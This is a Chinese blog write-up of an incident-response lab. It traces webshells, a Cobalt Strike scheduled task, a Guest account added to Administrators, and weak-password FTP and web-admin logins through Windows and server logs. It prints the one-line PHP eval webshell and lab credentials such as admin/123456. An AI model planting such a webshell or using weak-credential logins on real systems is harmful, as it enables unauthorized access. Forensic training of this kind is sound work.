文章目录
一、前言
题目链接:第九章-Where-1S-tHe-Hacker-part2
点赞关注+收藏!!!三连免费送玄机注册邀请码!!!(表格中邀请码没了请私信我!!!)
【腾讯文档】玄机邀请码免费获取
https://docs.qq.com/sheet/DWUt1WU9vZmpxWFd4?tab=BB08J2
题目场景描述;
水哥是某公司的一名运维,某天他在日常巡检的过程中发现了异常,敏锐的他感觉到了事情的不妙,于是联系同事要到了你的电话,请你帮助他解决这个难题。
那这里我们结合题目——Where-1S-tHe-Hacker-part2,可得知这确实是不指一道大题,这是第二部分的,不过没关系,这前后两题也不是很搭嘎,我们直接正常做就行,稍后会补上“part1”的;
在这里也是感谢“划水但不摆烂”师傅的工具包!题中涉及到的工具已打包就位!
https://www.123pan.com/s/q2J1jv-D0Bvd.html
提取码:0905
二、概览
简介
服务器场景操作系统 Windows
服务器账号密码 admin Aa123456
题目来源公众号 划水但不摆烂
https://mp.weixin.qq.com/s/xkHNm7AN4BCpQIr9thIS7A
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
开放题目
漏洞修复
参考
https://mp.weixin.qq.com/s/xkHNm7AN4BCpQIr9thIS7A
题目;
1、最早的WebShell落地时间是(时间格式统一为:2022/12/12/2:22:22);
2、黑客最早的WebShell密码是多少,将WebShell密码作为Flag值提交;
3、CobaltStrike木马被添加进计划任务的时间是
4、黑客启用并添加进管理员组的用户与时间是 答案格式:Username,2022/12/12/2:22:22)
5、攻击者使用弱口令登录ftp的时间是
6、攻击者使用弱口令登录web管理员的时间是
三、参考文章
【实景挑战 | 题解】应急靶机02: Where-1S-tHe-Hacker-P2
四、步骤
准备步骤#1.0
服务器场景操作系统 Windows,这里还是老规矩,使用任意“ssh”对靶机进行连接即可,前提条件是靶机必须是开启状态哈,那我这里推荐大家使用笔记本电脑自带的“Microsoft”远程桌面连接即可;(可能会有一些笔记本电脑是不自带的,不过这里已为各位师傅准备好安装包,正常解压双击安装即可)
123网盘下载;
https://www.123pan.com/s/q2J1jv-r8avd.html
提取码:0905
安装完成,进入主页,点击右上角“添加”–>“电脑”,接着启动靶机,输入靶机IP,点击“保存”,返回主页,点击连接,最后输入账号密码即可;
输入靶机IP,点击保存,返回主页点击连接即可;
接着输入靶机的账号密码,点击连接即可;(可能刚进去有点卡,等一会就好了)
admin
Aa123456
成功连接;
步骤#1
1.最早的WebShell落地时间是(时间格式统一为:2022/12/12/2:22:22);
解题思路
题目问我们黑客最早的传入webshell的具体时间是什么,那既然说了“webshell”靶机环境又是windows,所以我们直接使用一些常规的杀毒软件进行“webshell”查杀即可,例如常见的有:“D盾”、“河马”、“微步云沙箱”等等,不过这里的情况还是推荐使用“D盾”更为便捷;
首先,这里既然说了使用“D盾”,那总得把"D盾"给移到“window”靶机中对吧,那首先我们得给开一下“远程桌面”的权限,这里我的本机是“win11”的,所以直接在隐私系统中找到“远程桌面”点击开启即可;(可能有一些电脑默认开启,但是有一些是默认关闭,注意查看即可)
那这里开启了,我们直接就可以在本机中找到我们存放“D盾”的目录,直接“Ctrl+c”,接着返回到“window”靶机中“Ctrl+v”即可成功复制;(目前还没有“D盾”的师傅这边已经准备好下载链接,点击下载即可——D盾官方下载)
那题目中说的“webshell”,看这个名字就知道是“web”目录了吧?所以我们就直接找到“web”目录即可,那这里我们可以看见桌面有一个“phpstudy_pro”,所以我们直接右键选择“打开文件位置”即可,因为在使用phpStudy进行本地Web开发时,默认的Web目录通常是phpStudy
安装目录下的www
文件夹。这个目录之所以被选为默认Web目录。
得到;
这时候打开我们复制进靶机的“D盾”,直接选择“WWW”目录,拖进去进行扫描最后等待结果出来即可;
得到;
可以看见扫描出来的结果清一色的“Eval后门”,我们直接随便选中一个右键“打开文件位置”进行分析即可;
“打开相关目录”
得到;
随便打开一个进行分析;
从这里不难看出也是清一色的“<?php @eval($_POST[pass]);?>”,这是一个非常简洁的“WebShell”木马代码,也叫做“后门”代码,所以我们直接简单给这里面的所有“PHP”文件进行一个时间排序,接着右键“属性”,查看具体的时间,最后就能找到题目中所说的最早“webshell”落地时间——2023年11月11日,0:30:07);
得到;
这里我们按照要求提交格式:(时间格式统一为:2022/12/12/2:22:22)
至此;
flag{2023/11/11/0:30:07}
步骤#2
2.黑客最早的WebShell密码是多少,将WebShell密码作为Flag值提交;
解题思路
题目让我们找出黑客最早的“webshell”密码是多少,那这里根据题一,我们可知黑客写入后门代码“<?php @eval($_POST[pass]);?>”,总这行代码里面分析,我们可知密码是:pass;(这里没什么好说的,了解一点“web”文件上传的师傅可能都明白的)
得到;
至此
flag{pass}
步骤#3
3.CobaltStrike木马被添加进计划任务的时间是
解题思路
题目让我们找出“CobaltStrike木马”被添加进计划任务的具体时间是什么,那这里我们首先得简单了解一下什么是“CobaltStrike木马”和什么是window的“计划任务”;(那这里可能就会有的师傅有疑问了,为什么是windows的“计划任务”呢?因为靶机操作系统就是windows)
什么是“CobaltStrike木马”?
简单来说Cobalt Strike是一款商业化的渗透测试工具,它被设计用于帮助安全专家模拟真实的攻击场景,并测试组织的安全防御能力。然而,由于其强大的功能和广泛的适用性,Cobalt Strike也被不法黑客滥用,成为实施高级持久性威胁(APT)攻击的重要工具。
Cobalt Strike 木马的具体分析
-
核心组件:
- Beacon:这是Cobalt Strike的主要Payload,通常作为恶意软件的有效载荷被植入受害者系统中。Beacon可以通过HTTP、HTTPS、DNS或SMB等协议与攻击者的C2(Command and Control,指挥控制)服务器通信。
- C2通信:Beacon会定期向C2服务器发送心跳信号,并接收攻击者发送的命令。黑客可以通过C2服务器对受感染的机器执行各种操作,如远程控制、数据窃取、横向移动、提权、执行命令、上传/下载文件等。
-
特征:
- 隐蔽性:Cobalt Strike的Beacon模块通常具有极强的隐蔽性,它可以伪装成正常的网络流量,并使用加密通信来隐藏与C2服务器之间的交互。
- 模块化:Cobalt Strike提供了多种攻击模块,包括社会工程、漏洞利用、横向移动等,攻击者可以根据目标环境动态加载和使用这些模块。
- 灵活性:Cobalt Strike允许黑客自定义Payload和攻击策略,适应不同的操作系统和安全环境,使得其极具灵活性和适应性。
-
攻击流程:
- 初始感染:黑客通常通过钓鱼邮件、恶意文档、漏洞利用等方式,将Cobalt Strike的Payload(如Beacon)植入目标系统中。
- C2通信:一旦目标系统被感染,Beacon会与黑客的C2服务器建立通信连接,并等待进一步的指令。
- 远程控制与扩展:黑客可以使用Cobalt Strike执行各种恶意操作,包括数据窃取、安装后门、横向移动等,以进一步控制整个网络环境。
简而言之:Cobalt Strike木马是一种极其危险的网络攻击工具,具有高度的隐蔽性和灵活性。
那什么又是window“计划任务”?
简单来说,Windows的“计划任务”是一种系统功能,允许用户在预定的时间或特定事件发生时自动执行任务。它由“任务计划程序”(Task Scheduler)管理,可以用于自动化各种系统维护任务、软件更新、备份、脚本运行等。
详解;
-
任务计划程序:
- 管理界面:Windows提供了一个图形用户界面的任务计划程序,用户可以通过它来创建、编辑、管理和监控任务。它可以通过“任务计划程序”应用访问。
- 支持多种触发器:任务可以被多种事件触发,例如特定时间、系统启动、用户登录、系统空闲时、任务失败时等。
- 灵活的任务配置:用户可以设置任务的执行频率(每天、每周、每月等),以及任务的条件(如只有当计算机插入电源时执行)。
-
常见用途:
- 自动化系统维护:定期执行磁盘清理、系统备份、日志文件清理等。
- 自动化软件更新:自动检查并安装系统或应用程序更新。
- 执行脚本和程序:定时运行批处理文件、PowerShell脚本或其他可执行文件,以完成特定的任务。
- 监控和日志记录:通过任务计划程序,系统管理员可以设置任务来监控系统事件并记录日志,以便稍后分析。
-
创建任务的方式:
- 任务计划程序图形界面:最常用的方法是通过图形界面创建和管理任务,操作简便,适合大多数用户。
- 命令行工具:高级用户可以使用命令行工具
schtasks
来创建、删除或管理计划任务。 - PowerShell脚本:通过PowerShell脚本,用户可以自动化批量任务的创建和管理,适用于复杂的系统管理需求。
那这里既然说了“计划任务”,我们肯定要使用工具来进行分析,那这里推荐使用“火绒剑”,这款工具目前官方已经下架,需要自己搜寻一下资源,而且目标主机上最好不要安装火绒最新版,最新版的火绒会识别火绒剑的程序并禁用;(不过这里师傅们不需要担心,这里已经准备好工具,解压即用)
解压完成,也是之前同样的操作,直接“Ctrl+c”复制到靶机“Ctrl+v”即可,但是这里奇怪的是,按道理来说,“计划任务”中,应该会有一个文件的状态是“未知文件”,但是翻了一圈,并没有发现,这和我们预想的并不一样,那有的师傅可能就要问了,为什么你偏要执着于在“计划任务”中查找呢?因为题目中明确说了呀,“CobaltStrike木马被添加进计划任务”;
“安全状态”应该有一个“未知文件”的,但是这里并没有发现;
原题中是可以看见的;
最后经过思考得出结论;
那这里既然没办法确认到底哪一个才是真正的“CobaltStrike木马”,我们也没办法,因为靶机中的“huorong.exe”木马被杀掉了,以至于我重启很多遍靶机也还是找不到,那就没办法了,但是可以确认的是,原题中我们是可以使用“火绒”直接全盘扫描“C盘”,扫出可疑木马“huorong.exe”的,那扫出来之后,我们就可以直接把它移动到我们的本机,并且使用"微步在线云沙箱"扫描一下,并且得出“huorong.exex”就是我们需要找的“CobaltStrike木马”
在原题中,使用火绒全盘扫描是可以扫出“huorong.exe”可疑木马文件的;
原题中,跟进得到;
原题中,我们找到之后就可以移到本机直接丢进“微步在线云沙箱”检测,可得知这就是我们需要找的“CobaltStrike木马”;
那根据原题,我们在“火绒剑”中找到“huorong.exe”,是可以跟进到它存放的系统目录,也就是“\Microsoft\Windows\AppID\”,在靶机的“任务计划程序”中,那这里我们也尝试查找一下,虽然说毕竟“huorong.exe”已经不在了,那我们仍然可以跟进试试看难不难找到;
点击靶机的“win”,搜索框输入“任务”两个字,完整的“任务计划程序”就会出来了;
找到“\Microsoft\Windows\AppID\”就可以发现了“huorong.exe”,这个就是我们需要找的“CobaltStrike木马”,但是现在靶机中是没办法验证的,因为你跟进到这个目录就会发现没有这个“huorong.exe”这个程序;(知道原题是这样,所以我们心里知道就好,因为我猜部署靶机环境肯定是会有点限制的,也不难免消除掉“huorong.exe”,所以后面就正常做就行,其它的题目暂时没有发现)
那这里我们直接选中“Microsoft-SysnomCon”,接着右键选中“导出”,最后选一个合适的目录导出即可;
“导出”
打开得到;
可以清晰的看到“huorong.exe”也就是CobaltStrike木马被添加进计划任务的时间;
至此
flag{2023/11/15/8:02:20}
步骤#4
4.黑客启用并添加进管理员组的用户与时间是 答案格式:Username,2022/12/12/2:22:22)
解题思路
题目要求我们找到黑客启用并添加进管理组的用户时间是什么,那既然是找添加管理组这里推荐使用一个算是比较好用的工具吧,这里的做法不唯一,这里也只是仅供参考哈;
使用工具“D盾”,但是这里需要注意,需要右键“以管理身份运行”,要不然待会使用的时候会出现提示“权限不足”的情况;
**点击“工具”——>“克隆检测”,就会发现一个可疑账号“Guest”;
那这里既然已经扫描出来了,我们使用“cmd”来进行简单分析一下“Guest”;
使用命令;
net user Guest
得到;
从五点来进行分析;
- 账户启用状态
- 账户启用:Guest账户目前是启用状态(
帐户启用: Yes
)。通常,系统中的Guest账户默认是禁用的,因为这是一个内置的低权限账户,主要用于临时访问。因此,启用Guest账户本身就可能存在一定的风险。
- 密码设置情况
- 上次设置密码:密码最近一次设置的时间为
2023/11/11 0:45:59
。考虑到Guest账户通常不需要设置密码,这一操作可能是黑客为了保持账户的隐蔽性而进行的,特别是在没有任何其他用户更改密码的情况下。 - 密码到期:密码从不过期。这意味着设置后的密码将一直有效,也可能是黑客希望该账户长期存在的一种手段。
- 需要密码:系统显示Guest账户无需密码即可登录,这进一步表明,黑客可能利用了这一账户作为无密码访问的后门。
- 用户可以更改密码:当前配置为用户无法更改密码,这可能是为了防止系统管理员或其他人修改该账户的密码,确保黑客可以持续访问。
- 组成员身份
- 本地组成员:Guest账户被加入了
*Administrators
(管理员)组和*Guests
(来宾)组。这是一个严重的安全隐患,因为Guest账户本应是低权限的来宾账户,将其加入管理员组意味着黑客可以利用它执行管理员权限的操作。这一点非常不正常,通常应立即引起警觉。
- 上次登录时间
- 上次登录:显示为“从不”,这可能意味着黑客可能启用了这个账户但没有通过常规方式登录过,而是通过其他手段(如任务计划或服务)进行访问。或者此信息未更新,实际使用过但未被记录下来。
所以基本就可以石锤“Guest”就是黑客添加进管理组的用户!那按照题目要求不仅需要提交用户,而且还需具体的时间,答案格式:Username,2022/12/12/2:22:22)
至此;
flag{Guest,2023/11/11/0:45:59}
拓展
前面我也有明确说明,方法不是唯一,现在我们来一起看看另外一种方法,那既然说让我们查找添加的用户,那肯定少不了查看window的日志!,所以这里我们直接在靶机的“win”中的搜索框中,输入“事件查看器”跟进分析即可;
那这里我们直接筛选“4720“、”4732”,那这是为什么呢?
简单来说通过筛选事件查看器中的4720和4732,可以帮助我们分析和确定是否有异常的用户账户创建或组成员身份更改,因为这两个事件ID在Windows系统中与用户管理操作密切相关;
具体分析;
事件ID 4720:创建用户账户
- 描述:当一个新的用户账户在系统中被创建时,Windows事件日志会记录一个事件ID 4720。这个事件包括了创建账户的用户名、执行操作的用户(通常是管理员或具有足够权限的账户),以及创建时间等信息。
- 为什么筛选4720?
- 如果你发现系统中存在可疑的用户账户(如Guest账户被启用),通过筛选4720事件,可以找到该账户的创建时间和执行此操作的用户。这有助于追溯并识别是否是黑客创建了该账户。
事件ID 4732:用户被添加到安全组
- 描述:当一个用户被添加到某个安全组时,Windows事件日志会记录一个事件ID 4732。该事件记录了用户被添加到的组名、执行该操作的用户、以及操作的时间。
- 为什么筛选4732?
- 当一个账户被添加到管理员组(如Administrators组)时,通常会记录一个4732事件。如果你怀疑Guest账户被黑客加入了管理员组,通过筛选4732事件,你可以找到这个组成员身份变更的记录,并查看是谁执行了该操作及何时执行的。
所以我们直接点击旁边的“筛选当前日志”即可;
填入事件ID"4720,4732",接着点击确认即可;
也是很快就发现了可疑之处,为了能看的更清晰一下,我们可以选中这条记录,右键“将详细信息复制为文本”,接着桌面随便新建一个“123.txt”,丢进去分析即可;
“将详细信息复制为文本”
得到;
日志名称: Security
来源: Microsoft-Windows-Security-Auditing
日期: 2023/11/11 0:45:59
事件 ID: 4732
任务类别: Security Group Management
级别: 信息
关键字: 审核成功
用户: 暂缺
计算机: DESKTOP-QFJTLSB
描述:
已向启用了安全性的本地组中添加某个成员。
使用者:
安全 ID: SYSTEM
帐户名称: DESKTOP-QFJTLSB$
帐户域: WORKGROUP
登录 ID: 0x3E7
成员:
安全 ID: DESKTOP-QFJTLSB\Guest
帐户名称: -
组:
安全 ID: BUILTIN\Administrators
组名: Administrators
组域: Builtin
附加信息:
特权: -
事件 Xml:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}" />
<EventID>4732</EventID>
<Version>0</Version>
<Level>0</Level>
<Task>13826</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2023-11-10T16:45:59.180908500Z" />
<EventRecordID>1117</EventRecordID>
<Correlation ActivityID="{13b50dde-13c0-0001-600e-b513c013da01}" />
<Execution ProcessID="668" ThreadID="4236" />
<Channel>Security</Channel>
<Computer>DESKTOP-QFJTLSB</Computer>
<Security />
</System>
<EventData>
<Data Name="MemberName">-</Data>
<Data Name="MemberSid">S-1-5-21-654427176-4135768363-739862329-501</Data>
<Data Name="TargetUserName">Administrators</Data>
<Data Name="TargetDomainName">Builtin</Data>
<Data Name="TargetSid">S-1-5-32-544</Data>
<Data Name="SubjectUserSid">S-1-5-18</Data>
<Data Name="SubjectUserName">DESKTOP-QFJTLSB$</Data>
<Data Name="SubjectDomainName">WORKGROUP</Data>
<Data Name="SubjectLogonId">0x3e7</Data>
<Data Name="PrivilegeList">-</Data>
</EventData>
</Event>
简单分析一下;
不难看出该事件表示某个成员已被添加到启用了安全性的本地组中,在此特定情况下,Guest账户被添加到了Administrators(管理员)组中。
关键字段解释:
-
事件ID 4732: 这是一个与“安全组管理”相关的事件,当某个用户被添加到一个安全组(如Administrators组)时,会记录这个事件。
-
日期和时间: 2023/11/11 0:45:59。这是事件发生的时间,表明在这个时间点Guest账户被添加到了Administrators组中。
-
使用者:
- 安全 ID:
SYSTEM
,表明该操作是由系统本身(SYSTEM账户)执行的。 - 帐户名称:
DESKTOP-QFJTLSB$
,这是执行该操作的计算机名加上$
符号,表示它是在本地系统上下文中执行的操作。 - 登录 ID:
0x3E7
,这是本地系统账户的登录会话ID。
- 安全 ID:
-
成员:
- 安全 ID:
DESKTOP-QFJTLSB\Guest
,这是被添加到Administrators组中的用户账户,即Guest账户。
- 安全 ID:
-
组:
- 安全 ID:
BUILTIN\Administrators
,这是本地管理员组的安全标识符(SID)。 - 组名:
Administrators
,表示该组是本地系统的管理员组。 - 组域:
Builtin
,表示这是一个内建的(默认的)Windows组。
- 安全 ID:
分析:
-
可疑行为: Guest账户通常是一个权限受限的账户,不应该被加入到管理员组中。这种行为可能意味着系统被入侵,黑客通过启用Guest账户并将其添加到管理员组,以获取系统的管理权限。
-
操作来源: 操作是由SYSTEM账户执行的,这通常表明操作是通过一些系统级别的机制或工具完成的,比如计划任务或恶意脚本。
-
安全风险: 该日志条目显示出极大的安全风险,说明系统的本地安全策略可能已被篡改,黑客可能通过提升Guest账户权限获得对系统的完全控制。
至此也是可以推断出黑客添加的到底是什么用户!以及具体的时间!
方法不唯一!过程仅供参考!
步骤#5
5.攻击者使用弱口令登录ftp的时间是
解题思路
题目让我们找出黑客使用的弱口令登录ftp的具体时间是什么,那前面我们也能清楚的看见桌面是有一个“phpstudy_pro”的,所以我们可以找到“FileZilla FTP Server”的日志来进行分析,因为当天的所有记录都会在里面,也是很快就发现了具体的路径:C:\phpstudy_pro\Extensions\FTP0.9.60\Logs\,那我们跟进分析;很快就发现了关键;
所以,phpstudy集成环境中FileZilla FTP Server的日志存储路径路径:C:\phpstudy_pro\Extensions\FTP0.9.60\Logs\fzs-2023-11-11.log
得到;
那这里我们简单介绍一下到底什么是“FileZilla FTP Server 和 phpstudy”
简单来说就是;
-
FileZilla FTP Server 是一种广泛使用的开源FTP服务器软件,支持FTP、FTPS、SFTP协议。它通常会记录所有连接尝试、登录信息、文件传输等操作日志。
-
phpstudy 是一个集成环境,常用于Windows系统下的PHP开发。它集成了多种服务器工具,包括Apache、Nginx、MySQL、以及FTP服务器(如FileZilla FTP Server)
至于日志文件路径解释
- 在路径中:
C:\phpstudy_pro\Extensions\FTP0.9.60\Logs\
是phpstudy集成环境中FileZilla FTP Server的日志存储路径。fzs-2023-11-11.log
是特定日期的日志文件,FileZilla通常以fzs-YYYY-MM-DD.log
格式命名日志文件,每个日志文件记录了一天内所有的FTP活动。
那我们打开日志“fzs-2023-11-11.log”来进行分析,日志记录的信息很少也是很快就发现了关键;
得到;
得到;
(000002) 2023/11/11 1:08:54 - (not logged in) (192.168.128.1)> 331 Password required for anonymous
(000002) 2023/11/11 1:08:54 - (not logged in) (192.168.128.1)> PASS
(000002) 2023/11/11 1:08:54 - (not logged in) (192.168.128.1)> 530 Login or password incorrect!
(000003) 2023/11/11 1:08:54 - (not logged in) (192.168.128.1)> Connected on port 21, sending welcome message...
(000003) 2023/11/11 1:08:54 - (not logged in) (192.168.128.1)> 220 FileZilla Server 0.9.60 beta written by Tim Kosse (Tim.Kosse@gmx.de) Please visit http://sourceforge.
(000003) 2023/11/11 1:08:54 - (not logged in) (192.168.128.1)> USER ftp
(000003) 2023/11/11 1:08:54 - (not logged in) (192.168.128.1)> 331 Password required for ftp
(000003) 2023/11/11 1:08:54 - (not logged in) (192.168.128.1)> PASS ******
(000003) 2023/11/11 1:08:54 - ftp (192.168.128.1)> 230 Logged on
简单分析一下;
从里面不难看出,有两次不同的登录尝试:一次是使用 anonymous
用户名,另一次是使用 ftp
用户名。这些尝试都发生在 2023年11月11日 1:08:54。
详细分析;
-
第一次登录尝试 (anonymous 用户):
- 时间: 2023/11/11 1:08:54
- IP地址: 192.168.128.1
- 步骤:
- 用户试图登录时,服务器要求提供密码 (
331 Password required for anonymous
)。 - 用户没有提供正确的密码,导致登录失败 (
530 Login or password incorrect!
)。
- 用户试图登录时,服务器要求提供密码 (
分析: 这个尝试使用了
anonymous
用户名,这通常用于尝试匿名登录。黑客可能在试探服务器是否允许匿名访问。由于密码不正确,登录失败了。 -
第二次登录尝试 (ftp 用户):
- 时间: 2023/11/11 1:08:54
- IP地址: 192.168.128.1
- 步骤:
- 黑客尝试用
ftp
用户名登录,服务器同样要求密码 (331 Password required for ftp
)。 - 黑客输入了密码(用
******
掩盖),这次成功登录 (230 Logged on
)。
- 黑客尝试用
分析:
ftp
用户名可能是服务器上默认的用户账户,黑客提供了正确的密码并成功登录。这表明服务器上可能存在弱密码或默认密码未更改的安全隐患。
因此我们可以判断一下,ftp
是一个常见的默认用户名,许多系统可能将其与一个简单或默认的密码配对,比如 123456
,又如果,在检测中已经发现这个服务器上 ftp
用户的密码设置为 123456
,那么可以推测,这次成功的登录是通过密码 123456
实现的。
那我们就可以尝试一下,使用:ftp/123456,登录主机FTP服务;
得到;
输入默认用户以及弱口令,成功登录,输入命令:ls,也是发现了目录正是 webshell 的目录;
但是这里需要注意的是!!!!!!
在使用“cmd”连接“FTP”服务器的时候一定要先开启桌面上的“phpstudy_pro”!!!!
得到;
题目问我们“攻击者使用弱口令登录ftp的时间是”,而且我们也成功认证了“ftp”以及弱口令密码确实是可以成功登录的,所以返回日志找到使用默认用户“ftp”的记录时间即可!
至此
flag{2023/11/11/1:08:54}
步骤#6
6.攻击者使用弱口令登录web管理员的时间是
解题思路
题目问我们黑客使用弱口令登录“web”管理员的具体时间是什么,这题和上一题也非常相似,就是把“ftp”换成了“web”,所以思路也还是一样,而且题目中也提示了,“弱口令!”,所以盲猜一下,密码估计也是“123456”之类的简单密码,所以现在我们也还是找到“web”的日志进行分析即可;
那我们这里也是很快就发现了日志的具体存放位置:C:\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1700006400,那这里就有的师傅想要问了,为什么你连是那个日志就找到那么快?如果你仔细观察日志的大小你就能发现了,其它都是“0KB”,就这一个“882KB”的,就这样你说换成你来能不快嘛?
得到;
打开方式选择“记事本”即可;
这里相对于“ftp”的日志来,“web”的日志就显得有那么一点多了,但其实也还好,仔细往下翻一下,也是可以发现关键信息的;
但是很快也是在黑客爆破的记录在往下一点发现了登录成功的痕迹!
得到;
我们简单分析一下;
192.168.128.1 - - [15/Nov/2023:07:38:20 +0800] "POST /index.php?mod=mobile&act=public&do=login&beid=1 HTTP/1.1" 200 2031
192.168.128.1 - - [15/Nov/2023:07:38:20 +0800] "POST /index.php?mod=mobile&act=public&do=login&beid=1 HTTP/1.1" 200 2031
192.168.128.1 - - [15/Nov/2023:07:38:20 +0800] "POST /index.php?mod=mobile&act=public&do=login&beid=1 HTTP/1.1" 200 2031
192.168.128.1 - - [15/Nov/2023:07:38:20 +0800] "POST /index.php?mod=mobile&act=public&do=login&beid=1 HTTP/1.1" 200 2031
192.168.128.1 - - [15/Nov/2023:07:38:20 +0800] "POST /index.php?mod=mobile&act=public&do=login&beid=1 HTTP/1.1" 200 2031
不难看出这段记录显示在同一秒钟内,来自 IP 地址 192.168.128.1
的客户端多次向服务器发送了 POST 请求,目标 URL 是 /index.php?mod=mobile&act=public&do=login&beid=1
,并且每次请求都返回了状态码 200
,表示请求成功,由此我们可以推断出,同一秒钟内大量重复的 POST 请求,通常表明客户端在尝试进行某种自动化操作。这就是暴力破解: 黑客正在尝试暴力破解登录凭据,通过快速发送多个登录请求,他想能够猜测正确的用户名和密码组合。
以及;
192.168.128.1 - - [15/Nov/2023:07:38:31 +0800] "POST /index.php?mod=mobile&act=public&do=login&beid=1 HTTP/1.1" 302 -
192.168.128.1 - - [15/Nov/2023:07:38:31 +0800] "GET /index.php?mod=site&act=manager&do=main&beid=1 HTTP/1.1" 302 -
192.168.128.1 - - [15/Nov/2023:07:38:31 +0800] "GET /index.php?mod=site&act=manager&do=store&op=display&beid=1 HTTP/1.1" 200 9262
简单分析,从这些日志记录中,不难看出POST
请求试图登录,紧接着 302
重定向,以及后续 200
成功访问管理页面的记录,形成了一个清晰的成功登录流程。
-
HTTP 状态码 302 表示重定向:
302
是 HTTP 状态码,表示“临时重定向”。当用户成功登录后,通常会被重定向到其他页面,以继续进行其他操作。这说明了登录请求成功,并且用户被重定向到管理页面。
-
随后访问了管理页面:
- 紧接着的
GET /index.php?mod=site&act=manager&do=main&beid=1
和GET /index.php?mod=site&act=manager&do=store&op=display&beid=1
表示用户在登录成功后访问了管理页面。这些请求的出现说明用户已经获得了足够的权限,能够访问这些受保护的管理页面。
- 紧接着的
-
HTTP 状态码 200 表示请求成功:
- 最后一行日志中
GET /index.php?mod=site&act=manager&do=store&op=display&beid=1
的状态码为200
,这表示请求成功,服务器返回了所请求的内容。表明用户已经成功登录并访问了管理页面。
- 最后一行日志中
因为在对于一个 web 站点,我们通常会尝试对其登录页面进行弱口令登录尝试,登录成功往往会有
Js 页面跳转
、Get Param url跳转
和30x 页面重定向
等标志,所以我们也尝试访问一下首页地址:http://localhost/index.php?mod=mobile&act=public&do=index&beid=1
注意!!!同样需要开启“phpstudy_pro”!!!
访问得到;
不难看出这就是刚刚我们在日志中看见黑客成功使用弱口令登录的界面,那这里按道理来说是要使用“BurpSuite”进行一个简单的弱口令爆破,但是由于我的“BurpSuite”有点太大了,传进靶机时间有点过于久了,所以这里就直接借用别的师傅爆破好的账号密码:admin\123456;
账号密码:admin\123456
也是成功登录;
那按照题目的要求“攻击者使用弱口令登录web管理员的时间是”,所以我们返回日志找到刚刚黑客成功登录“web”管理员的记录,进行提交即可;
至此;
flag{2023/11/15/7:38:31}